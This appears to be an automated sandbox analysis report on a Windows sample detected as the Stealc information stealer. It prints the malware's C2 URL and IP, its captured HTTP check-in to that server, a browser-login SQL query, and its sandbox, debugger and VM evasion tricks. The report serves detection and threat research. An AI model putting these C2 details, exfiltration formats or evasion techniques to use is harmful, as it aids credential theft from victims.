Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1520803
MD5:	725d70229eb4ef1cb992cafa8a031527
SHA1:	69af2b2f4a85e3ce78f5b9a9484bb7a3f13ca5ff
SHA256:	edc9cb8db3fafd7737aeda3122a8a4b967cf4e79887ef38910dcfd6b2e99b635
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 5064 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 725D70229EB4EF1CB992CAFA8A031527)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "save"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2044296444.0000000005280000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2086459115.000000000140E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 5064	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 5064	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.8a0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T23:14:03.397773+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 0.2.file.exe.8a0000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "save"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008AC820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_008AC820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008A9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_008A9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008A7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_008A7240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008A9B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_008A9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008B8EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_008B8EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008B38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_008B38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008B4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_008B4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008ADA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_008ADA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008AE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_008AE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008AED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_008AED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008B4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_008B4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008AF68A FindFirstFileA,	0_2_008AF68A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008B3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_008B3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008AF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_008AF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008A16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_008A16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008ADE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_008ADE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008ABE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_008ABE70

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAEHDBAAECBFHJKFCFBFHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 31 38 33 41 46 34 42 44 33 45 38 32 30 37 38 35 38 38 37 32 30 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 2d 2d 0d 0a Data Ascii: ------CAEHDBAAECBFHJKFCFBFContent-Disposition: form-data; name="hwid"6183AF4BD3E82078588720------CAEHDBAAECBFHJKFCFBFContent-Disposition: form-data; name="build"save------CAEHDBAAECBFHJKFCFBF--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_008A4880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_008A4880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAEHDBAAECBFHJKFCFBFHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 31 38 33 41 46 34 42 44 33 45 38 32 30 37 38 35 38 38 37 32 30 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 2d 2d 0d 0a Data Ascii: ------CAEHDBAAECBFHJKFCFBFContent-Disposition: form-data; name="hwid"6183AF4BD3E82078588720------CAEHDBAAECBFHJKFCFBFContent-Disposition: form-data; name="build"save------CAEHDBAAECBFHJKFCFBF--

Source: file.exe, 00000000.00000002.2086459115.000000000140E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2086459115.0000000001469000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.2086459115.0000000001469000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2086459115.0000000001469000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php6Y3
Source: file.exe, 00000000.00000002.2086459115.0000000001469000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpOF
Source: file.exe, 00000000.00000002.2086459115.000000000140E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37DW

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C741DF	0_2_00C741DF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D311CF	0_2_00D311CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BF11D3	0_2_00BF11D3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C6F160	0_2_00C6F160
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B48297	0_2_00B48297
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C6BA4D	0_2_00C6BA4D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C58B20	0_2_00C58B20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CF5CAF	0_2_00CF5CAF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C6346D	0_2_00C6346D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C79EC3	0_2_00C79EC3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C726CC	0_2_00C726CC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C69E83	0_2_00C69E83
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D07E51	0_2_00D07E51
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C6D61F	0_2_00C6D61F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C7AF40	0_2_00C7AF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C77F64	0_2_00C77F64

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 008A45C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: mpdgfduh ZLIB complexity 0.9948087686567164

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_008B8680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_008B8680

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_008B3720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_008B3720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\U64Q21ZR.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000002.2086459115.000000000140E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: SELECT origin_url, username_value, password_value FROM logins;

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1871872 > 1048576

Source: file.exe

Static PE information: Raw size of mpdgfduh is bigger than: 0x100000 < 0x1a2c00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.8a0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;mpdgfduh:EW;rbtrtnga:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;mpdgfduh:EW;rbtrtnga:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_008B9860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_008B9860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1cebea should be: 0x1d6c68

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: mpdgfduh
Source: file.exe	Static PE information: section name: rbtrtnga
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D988D1 push ebx; mov dword ptr [esp], eax	0_2_00D98937
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D490C8 push esi; mov dword ptr [esp], eax	0_2_00D490D2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D1389C push 24C9C08Ah; mov dword ptr [esp], edx	0_2_00D138A4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CF50A9 push 112FC669h; mov dword ptr [esp], edi	0_2_00CF50D6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CA204F push edi; mov dword ptr [esp], esp	0_2_00CA20F6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D6407D push 6E293919h; mov dword ptr [esp], esp	0_2_00D640EF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D0407E push 1502BB9Dh; mov dword ptr [esp], ecx	0_2_00D03EFA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D0407E push 4BE90CEFh; mov dword ptr [esp], eax	0_2_00D04100
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008BB035 push ecx; ret	0_2_008BB048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDF034 push edi; mov dword ptr [esp], 20C32B69h	0_2_00CDF04B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C741DF push ecx; mov dword ptr [esp], 3DBDB44Ch	0_2_00C741FF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C741DF push 5DCFC69Fh; mov dword ptr [esp], esi	0_2_00C7429D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C741DF push edx; mov dword ptr [esp], 4C0A0D33h	0_2_00C742E9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C741DF push 0FC4316Ah; mov dword ptr [esp], esi	0_2_00C74355
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C741DF push 73695A81h; mov dword ptr [esp], ecx	0_2_00C74418
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C741DF push ebp; mov dword ptr [esp], ebx	0_2_00C744DF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C741DF push edx; mov dword ptr [esp], ecx	0_2_00C74555
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C741DF push 13E53EF0h; mov dword ptr [esp], ecx	0_2_00C74600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C741DF push esi; mov dword ptr [esp], 4E2B8EFAh	0_2_00C7460E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C741DF push ecx; mov dword ptr [esp], edi	0_2_00C74627
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C741DF push 43EEA6F9h; mov dword ptr [esp], ecx	0_2_00C74679
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C741DF push 56AB94FBh; mov dword ptr [esp], esi	0_2_00C74733
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C741DF push edi; mov dword ptr [esp], 739F3788h	0_2_00C74749
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C741DF push 1F8C2E76h; mov dword ptr [esp], esi	0_2_00C747A5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C741DF push ecx; mov dword ptr [esp], 68A69B82h	0_2_00C74802
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C741DF push 5A2666C4h; mov dword ptr [esp], ecx	0_2_00C7483A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C741DF push esi; mov dword ptr [esp], edx	0_2_00C74863
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C741DF push eax; mov dword ptr [esp], 5A94B987h	0_2_00C74877
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C741DF push ebp; mov dword ptr [esp], ecx	0_2_00C7490C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C741DF push ebp; mov dword ptr [esp], ecx	0_2_00C7491E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C741DF push esi; mov dword ptr [esp], ecx	0_2_00C7496A

Source: file.exe

Static PE information: section name: mpdgfduh entropy: 7.9541059476777995

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_008B9860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13646

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7F079 second address: C7F09E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007FB97CFE9222h 0x0000000f je 00007FB97CFE9216h 0x00000015 je 00007FB97CFE9216h 0x0000001b popad 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f ja 00007FB97CFE9216h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7F09E second address: C7F0AE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jg 00007FB97CFF0156h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7F328 second address: C7F338 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB97CFE9216h 0x00000008 js 00007FB97CFE9216h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7F64E second address: C7F66B instructions: 0x00000000 rdtsc 0x00000002 je 00007FB97CFF015Ah 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FB97CFF015Dh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7F66B second address: C7F66F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7F66F second address: C7F693 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB97CFF0165h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007FB97CFF0156h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7F693 second address: C7F69D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7F829 second address: C7F835 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jo 00007FB97CFF0156h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7F835 second address: C7F84C instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB97CFE9216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 pop edi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7F84C second address: C7F850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
